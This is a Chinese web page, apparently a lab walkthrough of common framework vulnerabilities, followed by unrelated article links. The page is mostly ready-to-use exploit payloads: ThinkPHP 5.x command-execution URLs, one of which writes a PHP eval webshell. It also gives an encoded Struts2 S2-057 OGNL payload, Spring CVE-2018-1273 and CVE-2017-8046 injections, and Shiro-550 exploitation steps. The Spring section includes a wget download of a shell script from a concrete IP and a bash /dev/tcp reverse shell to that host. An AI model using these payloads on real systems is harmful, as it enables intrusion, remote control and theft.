当前位置: 首页 > news >正文

常见的框架漏洞

Thinkphp5x远程命令执行及getshell

远程命令执行

打开环境,拼接以下目录,执行系统命令

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行

打开环境,拼接以下目录,执行代码命令

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

getshell

打开环境,拼接以下目录,植入木马,获取 shell

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]); ?> " >>121.php

struts2

S2-057远程执行代码漏洞

1.打开环境,访问漏洞地址

/struts2-showcase

2.在 URL 处拼接以下代码,访问后发现中间数字相加,证明中间可执行代码

${(123+123)}/actionChain1.action

3.将以下代码替换,获取 whoami

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

Spring

spring 代码执行(CVE-2018-1273)

1.打开环境,访问漏洞网址,注册抓包

/users

2.添加以下 poc ,显示 500 即输入成功

username[#this.getClass().forName("java.lang.Runtime" ).getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

3.反弹 shell ,先写入 shell.sh ,开启监听,执行 shell.sh ,即可反弹到 shell

/usr/bin/wget -O /tmp/shel.sh http://112.126.80.8:8080/shell.sh
bash -i >& /dev/tcp/112.126.80.8/7777 0>&1
/bin/bash /tmp/shell.sh

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

1.打开环境,拼接以下目录进入漏洞处

/customers/1 

2.抓包,将请求头替换为 PATCH,在数据包末尾空一行输入以下代码

PATCH /customers/1 HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub"}]

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550) CVE-2016-4437

1.打开环境,抓包发送重放器,发送,若在 Cookie 中有 rememberMe=deleteMe 则存在漏洞

2.使用工具 shiro反序列化漏洞综合利用 v2.2 输入目标地址,检测秘钥-->爆破秘钥-->检测当前利用链,若存在利用链,则进入命令执行或内存马区块,反之爆破利用链

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 常见的CMS漏洞
  • Stable Diffusion绘画 | 图生图-上传重绘蒙版
  • Massa如何构建完全链上的去中心化网络?
  • 计算机学习
  • SQL Server数据库文件过大而无法直接导出解决方案
  • 开源威胁情报查询
  • 07.FreeRTOS列表与列表项
  • leetcode 234.回文链表
  • 【C++ 面试 - 基础题】每日 3 题(一)
  • postgreSQL16添加审计功能
  • centos上传工具
  • LeetCode Hard|【460. LFU 缓存】
  • 【Cesium开发实战】视点信息功能的实现,双击保存当前视点为缩略图
  • CLEFT 基于高效大语言模型和快速微调的语言-图像对比学习
  • 利用 Angular 发挥环境的力量
  • 自己简单写的 事件订阅机制
  • [译]如何构建服务器端web组件,为何要构建?
  • 〔开发系列〕一次关于小程序开发的深度总结
  • 2019.2.20 c++ 知识梳理
  • C学习-枚举(九)
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • Flex布局到底解决了什么问题
  • go语言学习初探(一)
  • IDEA 插件开发入门教程
  • JavaScript创建对象的四种方式
  • javascript数组去重/查找/插入/删除
  • Java应用性能调优
  • Laravel 实践之路: 数据库迁移与数据填充
  • mockjs让前端开发独立于后端
  • PHP的Ev教程三(Periodic watcher)
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • underscore源码剖析之整体架构
  • Vue.js-Day01
  • 服务器从安装到部署全过程(二)
  • 给Prometheus造假数据的方法
  • 微服务核心架构梳理
  • 以太坊客户端Geth命令参数详解
  • const的用法,特别是用在函数前面与后面的区别
  • ​一、什么是射频识别?二、射频识别系统组成及工作原理三、射频识别系统分类四、RFID与物联网​
  • #QT 笔记一
  • #我与Java虚拟机的故事#连载16:打开Java世界大门的钥匙
  • $.ajax,axios,fetch三种ajax请求的区别
  • (52)只出现一次的数字III
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (分布式缓存)Redis持久化
  • (接上一篇)前端弄一个变量实现点击次数在前端页面实时更新
  • (算法)Travel Information Center
  • (微服务实战)预付卡平台支付交易系统卡充值业务流程设计
  • (一)RocketMQ初步认识
  • (一)WLAN定义和基本架构转
  • (转)四层和七层负载均衡的区别
  • .bat批处理(三):变量声明、设置、拼接、截取
  • .NET构架之我见
  • .NET开发者必备的11款免费工具